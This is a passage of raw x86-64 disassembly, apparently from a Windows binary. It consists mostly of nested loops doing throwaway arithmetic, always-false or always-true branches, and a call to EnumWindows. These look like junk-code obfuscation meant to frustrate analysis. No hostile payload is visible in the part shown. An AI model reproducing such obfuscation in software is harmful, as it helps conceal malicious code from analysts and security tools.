jne 0x140107ccb
mov dword [rsp + 0x6fc], 0x15
mov eax, dword [rsp + 0x6fc]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140107c9f
mov eax, dword [rsp + 0x6fc]
shl eax, 1
mov dword [rsp + 0x6fc], eax
jmp 0x140107cb0
mov eax, dword [rsp + 0x6fc]
add eax, 3
mov dword [rsp + 0x6fc], eax
mov eax, dword [rsp + 0x700]
imul eax, dword [rsp + 0x14ec]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b9c], eax
cmp dword [rsp + 0x700], 3
jl 0x140107c55
jmp 0x140107c27
cmp dword [rsp + 0x14ec], 5
jle 0x140107d52
mov eax, dword [rsp + 0x14ec]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x14f0], eax
mov dword [rsp + 0x704], 0x15
mov eax, dword [rsp + 0x704]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140107d27
mov eax, dword [rsp + 0x704]
shl eax, 1
mov dword [rsp + 0x704], eax
jmp 0x140107d38
mov eax, dword [rsp + 0x704]
add eax, 3
mov dword [rsp + 0x704], eax
mov eax, dword [rsp + 0x14f0]
dec eax
mov dword [rsp + 0x14f0], eax
cmp dword [rsp + 0x14f0], 0
jg 0x140107cf7
jmp 0x140107bf1
mov eax, dword [rsp + 0x14f4]
sub eax, 2
mov dword [rsp + 0x14f4], eax
cmp dword [rsp + 0x14f4], 0
jg 0x140107be4
mov dword [rsp + 0x14f8], 0
jmp 0x140107d93
mov eax, dword [rsp + 0x14f8]
inc eax
mov dword [rsp + 0x14f8], eax
cmp dword [rsp + 0x14f8], 5
jge 0x140107ee9
mov dword [rsp + 0x14fc], 7
mov dword [rsp + 0xd20], 0
jmp 0x140107dc9
mov eax, dword [rsp + 0xd20]
inc eax
mov dword [rsp + 0xd20], eax
cmp dword [rsp + 0xd20], 2
jge 0x140107e6c
mov eax, dword [rsp + 0xd20]
inc eax
mov dword [rsp + 0x70c], eax
mov eax, dword [rsp + 0x70c]
inc eax
mov dword [rsp + 0x70c], eax
cmp dword [rsp + 0x70c], 2
jne 0x140107e5d
mov dword [rsp + 0x708], 0x15
mov eax, dword [rsp + 0x708]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140107e31
mov eax, dword [rsp + 0x708]
shl eax, 1
mov dword [rsp + 0x708], eax
jmp 0x140107e42
mov eax, dword [rsp + 0x708]
add eax, 3
mov dword [rsp + 0x708], eax
mov eax, dword [rsp + 0x70c]
imul eax, dword [rsp + 0x14fc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1ba0], eax
cmp dword [rsp + 0x70c], 3
jl 0x140107de7
jmp 0x140107db9
cmp dword [rsp + 0x14fc], 5
jle 0x140107ee4
mov eax, dword [rsp + 0x14fc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1500], eax
mov dword [rsp + 0x710], 0x15
mov eax, dword [rsp + 0x710]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140107eb9
mov eax, dword [rsp + 0x710]
shl eax, 1
mov dword [rsp + 0x710], eax
jmp 0x140107eca
mov eax, dword [rsp + 0x710]
add eax, 3
mov dword [rsp + 0x710], eax
mov eax, dword [rsp + 0x1500]
dec eax
mov dword [rsp + 0x1500], eax
cmp dword [rsp + 0x1500], 0
jg 0x140107e89
jmp 0x140107d83
jmp 0x140107827
jmp 0x1401085c9
mov dword [rsp + 0x1504], 0
jmp 0x140107f10
mov eax, dword [rsp + 0x1504]
inc eax
mov dword [rsp + 0x1504], eax
cmp dword [rsp + 0x1504], 5
jge 0x1401085c9
mov dword [rsp + 0x1520], 0x44
mov dword [rsp + 0xd24], 0
jmp 0x140107f46
mov eax, dword [rsp + 0xd24]
inc eax
mov dword [rsp + 0xd24], eax
cmp dword [rsp + 0xd24], 7
jge 0x14010829b
mov eax, dword [rsp + 0xd24]
add eax, 4
mov dword [rsp + 0x72c], eax
mov eax, dword [rsp + 0x72c]
add eax, 4
mov dword [rsp + 0x72c], eax
cmp dword [rsp + 0x72c], 0x10
jne 0x140108288
mov dword [rsp + 0x1508], 0
jmp 0x140107fa1
mov eax, dword [rsp + 0x1508]
inc eax
mov dword [rsp + 0x1508], eax
cmp dword [rsp + 0x1508], 5
jge 0x1401080f7
mov dword [rsp + 0x150c], 7
mov dword [rsp + 0xd28], 0
jmp 0x140107fd7
mov eax, dword [rsp + 0xd28]
inc eax
mov dword [rsp + 0xd28], eax
cmp dword [rsp + 0xd28], 2
jge 0x14010807a
mov eax, dword [rsp + 0xd28]
inc eax
mov dword [rsp + 0x718], eax
mov eax, dword [rsp + 0x718]
inc eax
mov dword [rsp + 0x718], eax
cmp dword [rsp + 0x718], 2
jne 0x14010806b
mov dword [rsp + 0x714], 0x15
mov eax, dword [rsp + 0x714]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010803f
mov eax, dword [rsp + 0x714]
shl eax, 1
mov dword [rsp + 0x714], eax
jmp 0x140108050
mov eax, dword [rsp + 0x714]
add eax, 3
mov dword [rsp + 0x714], eax
mov eax, dword [rsp + 0x718]
imul eax, dword [rsp + 0x150c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1ba4], eax
cmp dword [rsp + 0x718], 3
jl 0x140107ff5
jmp 0x140107fc7
cmp dword [rsp + 0x150c], 5
jle 0x1401080f2
mov eax, dword [rsp + 0x150c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1510], eax
mov dword [rsp + 0x71c], 0x15
mov eax, dword [rsp + 0x71c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401080c7
mov eax, dword [rsp + 0x71c]
shl eax, 1
mov dword [rsp + 0x71c], eax
jmp 0x1401080d8
mov eax, dword [rsp + 0x71c]
add eax, 3
mov dword [rsp + 0x71c], eax
mov eax, dword [rsp + 0x1510]
dec eax
mov dword [rsp + 0x1510], eax
cmp dword [rsp + 0x1510], 0
jg 0x140108097
jmp 0x140107f91
mov eax, dword [rsp + 0x72c]
imul eax, dword [rsp + 0x1520]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1ba8], eax
mov dword [rsp + 0x1514], 0
jmp 0x140108132
mov eax, dword [rsp + 0x1514]
inc eax
mov dword [rsp + 0x1514], eax
cmp dword [rsp + 0x1514], 5
jge 0x140108288
mov dword [rsp + 0x1518], 7
mov dword [rsp + 0xd2c], 0
jmp 0x140108168
mov eax, dword [rsp + 0xd2c]
inc eax
mov dword [rsp + 0xd2c], eax
cmp dword [rsp + 0xd2c], 2
jge 0x14010820b
mov eax, dword [rsp + 0xd2c]
inc eax
mov dword [rsp + 0x724], eax
mov eax, dword [rsp + 0x724]
inc eax
mov dword [rsp + 0x724], eax
cmp dword [rsp + 0x724], 2
jne 0x1401081fc
mov dword [rsp + 0x720], 0x15
mov eax, dword [rsp + 0x720]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401081d0
mov eax, dword [rsp + 0x720]
shl eax, 1
mov dword [rsp + 0x720], eax
jmp 0x1401081e1
mov eax, dword [rsp + 0x720]
add eax, 3
mov dword [rsp + 0x720], eax
mov eax, dword [rsp + 0x724]
imul eax, dword [rsp + 0x1518]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1bac], eax
cmp dword [rsp + 0x724], 3
jl 0x140108186
jmp 0x140108158
cmp dword [rsp + 0x1518], 5
jle 0x140108283
mov eax, dword [rsp + 0x1518]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x151c], eax
mov dword [rsp + 0x728], 0x15
mov eax, dword [rsp + 0x728]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140108258
mov eax, dword [rsp + 0x728]
shl eax, 1
mov dword [rsp + 0x728], eax
jmp 0x140108269
mov eax, dword [rsp + 0x728]
add eax, 3
mov dword [rsp + 0x728], eax
mov eax, dword [rsp + 0x151c]
dec eax
mov dword [rsp + 0x151c], eax
cmp dword [rsp + 0x151c], 0
jg 0x140108228
jmp 0x140108122
cmp dword [rsp + 0x72c], 0x14
jl 0x140107f65
jmp 0x140107f36
cmp dword [rsp + 0x1520], 0x28
jle 0x140108451
mov eax, dword [rsp + 0x1520]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x1530], eax
mov dword [rsp + 0x1524], 0
jmp 0x1401082dc
mov eax, dword [rsp + 0x1524]
inc eax
mov dword [rsp + 0x1524], eax
cmp dword [rsp + 0x1524], 5
jge 0x140108432
mov dword [rsp + 0x1528], 7
mov dword [rsp + 0xd30], 0
jmp 0x140108312
mov eax, dword [rsp + 0xd30]
inc eax
mov dword [rsp + 0xd30], eax
cmp dword [rsp + 0xd30], 2
jge 0x1401083b5
mov eax, dword [rsp + 0xd30]
inc eax
mov dword [rsp + 0x734], eax
mov eax, dword [rsp + 0x734]
inc eax
mov dword [rsp + 0x734], eax
cmp dword [rsp + 0x734], 2
jne 0x1401083a6
mov dword [rsp + 0x730], 0x15
mov eax, dword [rsp + 0x730]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010837a
mov eax, dword [rsp + 0x730]
shl eax, 1
mov dword [rsp + 0x730], eax
jmp 0x14010838b
mov eax, dword [rsp + 0x730]
add eax, 3
mov dword [rsp + 0x730], eax
mov eax, dword [rsp + 0x734]
imul eax, dword [rsp + 0x1528]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1bb0], eax
cmp dword [rsp + 0x734], 3
jl 0x140108330
jmp 0x140108302
cmp dword [rsp + 0x1528], 5
jle 0x14010842d
mov eax, dword [rsp + 0x1528]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x152c], eax
mov dword [rsp + 0x738], 0x15
mov eax, dword [rsp + 0x738]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140108402
mov eax, dword [rsp + 0x738]
shl eax, 1
mov dword [rsp + 0x738], eax
jmp 0x140108413
mov eax, dword [rsp + 0x738]
add eax, 3
mov dword [rsp + 0x738], eax
mov eax, dword [rsp + 0x152c]
dec eax
mov dword [rsp + 0x152c], eax
cmp dword [rsp + 0x152c], 0
jg 0x1401083d2
jmp 0x1401082cc
mov eax, dword [rsp + 0x1530]
sub eax, 3
mov dword [rsp + 0x1530], eax
cmp dword [rsp + 0x1530], 0
jg 0x1401082bf
mov dword [rsp + 0x1534], 0
jmp 0x14010846e
mov eax, dword [rsp + 0x1534]
inc eax
mov dword [rsp + 0x1534], eax
cmp dword [rsp + 0x1534], 5
jge 0x1401085c4
mov dword [rsp + 0x1538], 7
mov dword [rsp + 0xd34], 0
jmp 0x1401084a4
mov eax, dword [rsp + 0xd34]
inc eax
mov dword [rsp + 0xd34], eax
cmp dword [rsp + 0xd34], 2
jge 0x140108547
mov eax, dword [rsp + 0xd34]
inc eax
mov dword [rsp + 0x740], eax
mov eax, dword [rsp + 0x740]
inc eax
mov dword [rsp + 0x740], eax
cmp dword [rsp + 0x740], 2
jne 0x140108538
mov dword [rsp + 0x73c], 0x15
mov eax, dword [rsp + 0x73c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010850c
mov eax, dword [rsp + 0x73c]
shl eax, 1
mov dword [rsp + 0x73c], eax
jmp 0x14010851d
mov eax, dword [rsp + 0x73c]
add eax, 3
mov dword [rsp + 0x73c], eax
mov eax, dword [rsp + 0x740]
imul eax, dword [rsp + 0x1538]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1bb4], eax
cmp dword [rsp + 0x740], 3
jl 0x1401084c2
jmp 0x140108494
cmp dword [rsp + 0x1538], 5
jle 0x1401085bf
mov eax, dword [rsp + 0x1538]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x153c], eax
mov dword [rsp + 0x744], 0x15
mov eax, dword [rsp + 0x744]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140108594
mov eax, dword [rsp + 0x744]
shl eax, 1
mov dword [rsp + 0x744], eax
jmp 0x1401085a5
mov eax, dword [rsp + 0x744]
add eax, 3
mov dword [rsp + 0x744], eax
mov eax, dword [rsp + 0x153c]
dec eax
mov dword [rsp + 0x153c], eax
cmp dword [rsp + 0x153c], 0
jg 0x140108564
jmp 0x14010845e
jmp 0x140107f00
xor edx, edx
lea rcx, [0x1400912b0]
call qword [sym.imp.USER32.dll_EnumWindows]
xor eax, eax
cmp eax, 1
je 0x140108f5a
xor eax, eax
test eax, eax
je 0x140108d57
mov dword [rsp + 0x1540], 0
jmp 0x14010860a
mov eax, dword [rsp + 0x1540]
inc eax
mov dword [rsp + 0x1540], eax
cmp dword [rsp + 0x1540], 5
jge 0x140108d52
mov dword [rsp + 0x774], 0x4d
mov dword [rsp + 0xd38], 0
jmp 0x140108640
mov eax, dword [rsp + 0xd38]
inc eax
mov dword [rsp + 0xd38], eax
cmp dword [rsp + 0xd38], 8
jge 0x140108870
mov eax, dword [rsp + 0xd38]
add eax, 6
mov dword [rsp + 0x758], eax
mov eax, dword [rsp + 0x758]
add eax, 5
mov dword [rsp + 0x758], eax
cmp dword [rsp + 0x758], 0x12
jne 0x14010885d
mov dword [rsp + 0x748], 0x2a
mov eax, dword [rsp + 0x748]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401086ae
mov eax, dword [rsp + 0x748]
shl eax, 1
mov dword [rsp + 0x748], eax
jmp 0x1401086bf
mov eax, dword [rsp + 0x748]
add eax, 3
mov dword [rsp + 0x748], eax
mov eax, dword [rsp + 0x758]
imul eax, dword [rsp + 0x774]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1bb8], eax
mov dword [rsp + 0x1544], 0
jmp 0x1401086fa
mov eax, dword [rsp + 0x1544]
inc eax
mov dword [rsp + 0x1544], eax
cmp dword [rsp + 0x1544], 5
jge 0x14010885d
mov dword [rsp + 0x1548], 0x4d
mov dword [rsp + 0xd3c], 0
jmp 0x140108730
mov eax, dword [rsp + 0xd3c]
inc eax
mov dword [rsp + 0xd3c], eax
cmp dword [rsp + 0xd3c], 6
jge 0x1401087dc
mov eax, dword [rsp + 0xd3c]
add eax, 3
mov dword [rsp + 0x750], eax
mov eax, dword [rsp + 0x750]
add eax, 2
mov dword [rsp + 0x750], eax
cmp dword [rsp + 0x750], 0xb
jne 0x1401087c9
mov dword [rsp + 0x74c], 0x2a
mov eax, dword [rsp + 0x74c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010879a
mov eax, dword [rsp + 0x74c]
shl eax, 1
mov dword [rsp + 0x74c], eax
jmp 0x1401087ab
mov eax, dword [rsp + 0x74c]
add eax, 3
mov dword [rsp + 0x74c], eax
mov eax, dword [rsp + 0x750]
imul eax, dword [rsp + 0x1548]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1bbc], eax
cmp dword [rsp + 0x750], 0x12
jl 0x14010874f
jmp 0x140108720
cmp dword [rsp + 0x1548], 0x23
jle 0x140108858
mov eax, dword [rsp + 0x1548]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x154c], eax
mov dword [rsp + 0x754], 0x2a
mov eax, dword [rsp + 0x754]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010882c
mov eax, dword [rsp + 0x754]
shl eax, 1
mov dword [rsp + 0x754], eax
jmp 0x14010883d
mov eax, dword [rsp + 0x754]
add eax, 3
mov dword [rsp + 0x754], eax
mov eax, dword [rsp + 0x154c]
sub eax, 4
mov dword [rsp + 0x154c], eax
cmp dword [rsp + 0x154c], 0
jg 0x1401087fc
jmp 0x1401086ea
cmp dword [rsp + 0x758], 0x1e
jl 0x14010865f
jmp 0x140108630
cmp dword [rsp + 0x774], 0x23
jle 0x140108b00
mov eax, dword [rsp + 0x774]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x155c], eax
mov dword [rsp + 0xd40], 0
jmp 0x1401088b1
mov eax, dword [rsp + 0xd40]
inc eax
mov dword [rsp + 0xd40], eax
cmp dword [rsp + 0xd40], 8
jge 0x140108ae1
mov eax, dword [rsp + 0xd40]
add eax, 6
mov dword [rsp + 0x76c], eax
mov eax, dword [rsp + 0x76c]
add eax, 5
mov dword [rsp + 0x76c], eax
cmp dword [rsp + 0x76c], 0x12
jne 0x140108ace
mov dword [rsp + 0x75c], 0x2a
mov eax, dword [rsp + 0x75c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010891f
mov eax, dword [rsp + 0x75c]
shl eax, 1
mov dword [rsp + 0x75c], eax
jmp 0x140108930
mov eax, dword [rsp + 0x75c]
add eax, 3
mov dword [rsp + 0x75c], eax
mov eax, dword [rsp + 0x76c]
imul eax, dword [rsp + 0x774]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1bc0], eax
mov dword [rsp + 0x1550], 0
jmp 0x14010896b
mov eax, dword [rsp + 0x1550]
inc eax
mov dword [rsp + 0x1550], eax
cmp dword [rsp + 0x1550], 5
jge 0x140108ace
mov dword [rsp + 0x1554], 0x4d
mov dword [rsp + 0xd44], 0
jmp 0x1401089a1
mov eax, dword [rsp + 0xd44]
inc eax
mov dword [rsp + 0xd44], eax
cmp dword [rsp + 0xd44], 6
jge 0x140108a4d
mov eax, dword [rsp + 0xd44]
add eax, 3
mov dword [rsp + 0x764], eax
mov eax, dword [rsp + 0x764]
add eax, 2
mov dword [rsp + 0x764], eax
cmp dword [rsp + 0x764], 0xb
jne 0x140108a3a
mov dword [rsp + 0x760], 0x2a
mov eax, dword [rsp + 0x760]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140108a0b
mov eax, dword [rsp + 0x760]
shl eax, 1
mov dword [rsp + 0x760], eax
jmp 0x140108a1c
mov eax, dword [rsp + 0x760]
add eax, 3
mov dword [rsp + 0x760], eax
mov eax, dword [rsp + 0x764]
imul eax, dword [rsp + 0x1554]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1bc4], eax
cmp dword [rsp + 0x764], 0x12
jl 0x1401089c0
jmp 0x140108991
cmp dword [rsp + 0x1554], 0x23
jle 0x140108ac9
mov eax, dword [rsp + 0x1554]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x1558], eax
mov dword [rsp + 0x768], 0x2a
mov eax, dword [rsp + 0x768]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140108a9d
mov eax, dword [rsp + 0x768]
shl eax, 1
mov dword [rsp + 0x768], eax
jmp 0x140108aae
mov eax, dword [rsp + 0x768]
add eax, 3
mov dword [rsp + 0x768], eax
mov eax, dword [rsp + 0x1558]
sub eax, 4
mov dword [rsp + 0x1558], eax
cmp dword [rsp + 0x1558], 0
jg 0x140108a6d
jmp 0x14010895b
cmp dword [rsp + 0x76c], 0x1e
jl 0x1401088d0
jmp 0x1401088a1
mov eax, dword [rsp + 0x155c]
sub eax, 4
mov dword [rsp + 0x155c], eax
cmp dword [rsp + 0x155c], 0
jg 0x140108894
mov dword [rsp + 0xd48], 0
jmp 0x140108b1d
mov eax, dword [rsp + 0xd48]
inc eax
mov dword [rsp + 0xd48], eax
cmp dword [rsp + 0xd48], 8
jge 0x140108d4d
mov eax, dword [rsp + 0xd48]
add eax, 6
mov dword [rsp + 0x784], eax
mov eax, dword [rsp + 0x784]
add eax, 5
mov dword [rsp + 0x784], eax
cmp dword [rsp + 0x784], 0x12
jne 0x140108d3a
mov dword [rsp + 0x770], 0x2a
mov eax, dword [rsp + 0x770]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140108b8b
mov eax, dword [rsp + 0x770]
shl eax, 1
mov dword [rsp + 0x770], eax
jmp 0x140108b9c
mov eax, dword [rsp + 0x770]
add eax, 3
mov dword [rsp + 0x770], eax
mov eax, dword [rsp + 0x784]
imul eax, dword [rsp + 0x774]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1bc8], eax
mov dword [rsp + 0x1560], 0
jmp 0x140108bd7
mov eax, dword [rsp + 0x1560]
inc eax
mov dword [rsp + 0x1560], eax
cmp dword [rsp + 0x1560], 5
jge 0x140108d3a
mov dword [rsp + 0x1564], 0x4d
mov dword [rsp + 0xd4c], 0
jmp 0x140108c0d
mov eax, dword [rsp + 0xd4c]
inc eax
mov dword [rsp + 0xd4c], eax
cmp dword [rsp + 0xd4c], 6
jge 0x140108cb9
mov eax, dword [rsp + 0xd4c]
add eax, 3
mov dword [rsp + 0x77c], eax
mov eax, dword [rsp + 0x77c]
add eax, 2
mov dword [rsp + 0x77c], eax
cmp dword [rsp + 0x77c], 0xb
jne 0x140108ca6
mov dword [rsp + 0x778], 0x2a
mov eax, dword [rsp + 0x778]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140108c77
mov eax, dword [rsp + 0x778]
shl eax, 1
mov dword [rsp + 0x778], eax
jmp 0x140108c88
mov eax, dword [rsp + 0x778]
add eax, 3
mov dword [rsp + 0x778], eax
mov eax, dword [rsp + 0x77c]
imul eax, dword [rsp + 0x1564]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1bcc], eax
cmp dword [rsp + 0x77c], 0x12
jl 0x140108c2c
jmp 0x140108bfd
cmp dword [rsp + 0x1564], 0x23
jle 0x140108d35
mov eax, dword [rsp + 0x1564]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x1568], eax
mov dword [rsp + 0x780], 0x2a
mov eax, dword [rsp + 0x780]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140108d09
mov eax, dword [rsp + 0x780]
shl eax, 1
mov dword [rsp + 0x780], eax
jmp 0x140108d1a
mov eax, dword [rsp + 0x780]
add eax, 3
mov dword [rsp + 0x780], eax
mov eax, dword [rsp + 0x1568]
sub eax, 4
mov dword [rsp + 0x1568], eax
cmp dword [rsp + 0x1568], 0
jg 0x140108cd9
jmp 0x140108bc7
cmp dword [rsp + 0x784], 0x1e
jl 0x140108b3c
jmp 0x140108b0d
jmp 0x1401085fa
jmp 0x140108f5a
mov dword [rsp + 0x156c], 0
jmp 0x140108d74
mov eax, dword [rsp + 0x156c]
inc eax
mov dword [rsp + 0x156c], eax
cmp dword [rsp + 0x156c], 5
jge 0x140108f5a
mov dword [rsp + 0x1570], 0x59
mov dword [rsp + 0xd50], 0
jmp 0x140108daa
mov eax, dword [rsp + 0xd50]
inc eax
mov dword [rsp + 0xd50], eax
cmp dword [rsp + 0xd50], 7
jge 0x140108e98
mov eax, dword [rsp + 0xd50]
add eax, 4
mov dword [rsp + 0x790], eax
mov eax, dword [rsp + 0x790]
add eax, 3
mov dword [rsp + 0x790], eax
cmp dword [rsp + 0x790], 0xe
jne 0x140108e85
mov dword [rsp + 0x788], 0x2a
mov eax, dword [rsp + 0x788]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140108e18
mov eax, dword [rsp + 0x788]
shl eax, 1
mov dword [rsp + 0x788], eax
jmp 0x140108e29
mov eax, dword [rsp + 0x788]
add eax, 3
mov dword [rsp + 0x788], eax
mov eax, dword [rsp + 0x790]
imul eax, dword [rsp + 0x1570]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1bd0], eax
mov dword [rsp + 0x78c], 0x2a
mov eax, dword [rsp + 0x78c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140108e74
mov eax, dword [rsp + 0x78c]
shl eax, 1
mov dword [rsp + 0x78c], eax
jmp 0x140108e85
mov eax, dword [rsp + 0x78c]
add eax, 3
mov dword [rsp + 0x78c], eax
cmp dword [rsp + 0x790], 0x19
jl 0x140108dc9
jmp 0x140108d9a
cmp dword [rsp + 0x1570], 0x28
jle 0x140108f14
mov eax, dword [rsp + 0x1570]
cdq
mov ecx, 6
idiv ecx
mov dword [rsp + 0x1574], eax
mov dword [rsp + 0x794], 0x2a
mov eax, dword [rsp + 0x794]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140108ee8
mov eax, dword [rsp + 0x794]
shl eax, 1
mov dword [rsp + 0x794], eax
jmp 0x140108ef9
mov eax, dword [rsp + 0x794]
add eax, 3
mov dword [rsp + 0x794], eax
mov eax, dword [rsp + 0x1574]
sub eax, 3
mov dword [rsp + 0x1574], eax
cmp dword [rsp + 0x1574], 0
jg 0x140108eb8
mov dword [rsp + 0x798], 0x2a
mov eax, dword [rsp + 0x798]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140108f44
mov eax, dword [rsp + 0x798]
shl eax, 1
mov dword [rsp + 0x798], eax
jmp 0x140108f55
mov eax, dword [rsp + 0x798]
add eax, 3
mov dword [rsp + 0x798], eax
jmp 0x140108d64
xor eax, eax
test eax, eax
je 0x140109dc7
xor eax, eax
test eax, eax
je 0x14010969e
mov dword [rsp + 0x1578], 0
jmp 0x140108f8b
mov eax, dword [rsp + 0x1578]
inc eax
mov dword [rsp + 0x1578], eax
cmp dword [rsp + 0x1578], 5
jge 0x140109699
mov dword [rsp + 0x1594], 0x3f
mov dword [rsp + 0xd54], 0
jmp 0x140108fc1
mov eax, dword [rsp + 0xd54]
inc eax
mov dword [rsp + 0xd54], eax
cmp dword [rsp + 0xd54], 6
jge 0x140109341
mov eax, dword [rsp + 0xd54]
add eax, 5
mov dword [rsp + 0x7a4], eax
mov eax, dword [rsp + 0x7a4]
add eax, 4
mov dword [rsp + 0x7a4], eax
cmp dword [rsp + 0x7a4], 0x11
jne 0x14010932e
mov dword [rsp + 0x157c], 0
jmp 0x14010901c
mov eax, dword [rsp + 0x157c]
inc eax
mov dword [rsp + 0x157c], eax
cmp dword [rsp + 0x157c], 5
jge 0x140109187
mov dword [rsp + 0x1580], 0x2a
mov dword [rsp + 0xd58], 0
jmp 0x140109052
mov eax, dword [rsp + 0xd58]
inc eax
mov dword [rsp + 0xd58], eax
cmp dword [rsp + 0xd58], 4
jge 0x140109101
mov eax, dword [rsp + 0xd58]
add eax, 2
mov dword [rsp + 0x79c], eax
mov eax, dword [rsp + 0x79c]
inc eax
mov dword [rsp + 0x79c], eax
cmp dword [rsp + 0x79c], 7
jne 0x1401090ee
mov dword [rsp + 0x18c], Ordinal_79
cmp dword [rsp + 0x18c], 0
jle 0x1401090d0
mov eax, dword [rsp + 0x18c]
sub eax, 5
mov dword [rsp + 0x18c], eax
cmp dword [rsp + 0x18c], 0xa
jne 0x1401090ce
mov eax, dword [rsp + 0x18c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x18c], eax
jmp 0x140109096
mov eax, dword [rsp + 0x79c]
imul eax, dword [rsp + 0x1580]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1bd4], eax
cmp dword [rsp + 0x79c], 0xb
jl 0x140109071
jmp 0x140109042
cmp dword [rsp + 0x1580], 0x14
jle 0x140109182
mov eax, dword [rsp + 0x1580]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1584], eax
mov dword [rsp + 0x190], Ordinal_79
cmp dword [rsp + 0x190], 0
jle 0x140109167
mov eax, dword [rsp + 0x190]
sub eax, 5
mov dword [rsp + 0x190], eax
cmp dword [rsp + 0x190], 0xa
jne 0x140109165
mov eax, dword [rsp + 0x190]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x190], eax
jmp 0x14010912d
mov eax, dword [rsp + 0x1584]
sub eax, 2
mov dword [rsp + 0x1584], eax
cmp dword [rsp + 0x1584], 0
jg 0x140109122
jmp 0x14010900c
mov eax, dword [rsp + 0x7a4]
imul eax, dword [rsp + 0x1594]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1bd8], eax
mov dword [rsp + 0x1588], 0
jmp 0x1401091c3
mov eax, dword [rsp + 0x1588]
inc eax
mov dword [rsp + 0x1588], eax
cmp dword [rsp + 0x1588], 5
jge 0x14010932e
mov dword [rsp + 0x158c], 0x2a
mov dword [rsp + 0xd5c], 0
jmp 0x1401091f9
mov eax, dword [rsp + 0xd5c]
inc eax
mov dword [rsp + 0xd5c], eax
cmp dword [rsp + 0xd5c], 4
jge 0x1401092a8
mov eax, dword [rsp + 0xd5c]
add eax, 2
mov dword [rsp + 0x7a0], eax
mov eax, dword [rsp + 0x7a0]
inc eax
mov dword [rsp + 0x7a0], eax
cmp dword [rsp + 0x7a0], 7
jne 0x140109295
mov dword [rsp + 0x194], Ordinal_79
cmp dword [rsp + 0x194], 0
jle 0x140109277
mov eax, dword [rsp + 0x194]
sub eax, 5
mov dword [rsp + 0x194], eax
cmp dword [rsp + 0x194], 0xa
jne 0x140109275
mov eax, dword [rsp + 0x194]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x194], eax
jmp 0x14010923d
mov eax, dword [rsp + 0x7a0]
imul eax, dword [rsp + 0x158c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1bdc], eax
cmp dword [rsp + 0x7a0], 0xb
jl 0x140109218
jmp 0x1401091e9
cmp dword [rsp + 0x158c], 0x14
jle 0x140109329
mov eax, dword [rsp + 0x158c]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1590], eax
mov dword [rsp + 0x198], Ordinal_79
cmp dword [rsp + 0x198], 0
jle 0x14010930e
mov eax, dword [rsp + 0x198]
sub eax, 5
mov dword [rsp + 0x198], eax
cmp dword [rsp + 0x198], 0xa
jne 0x14010930c
mov eax, dword [rsp + 0x198]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x198], eax
jmp 0x1401092d4
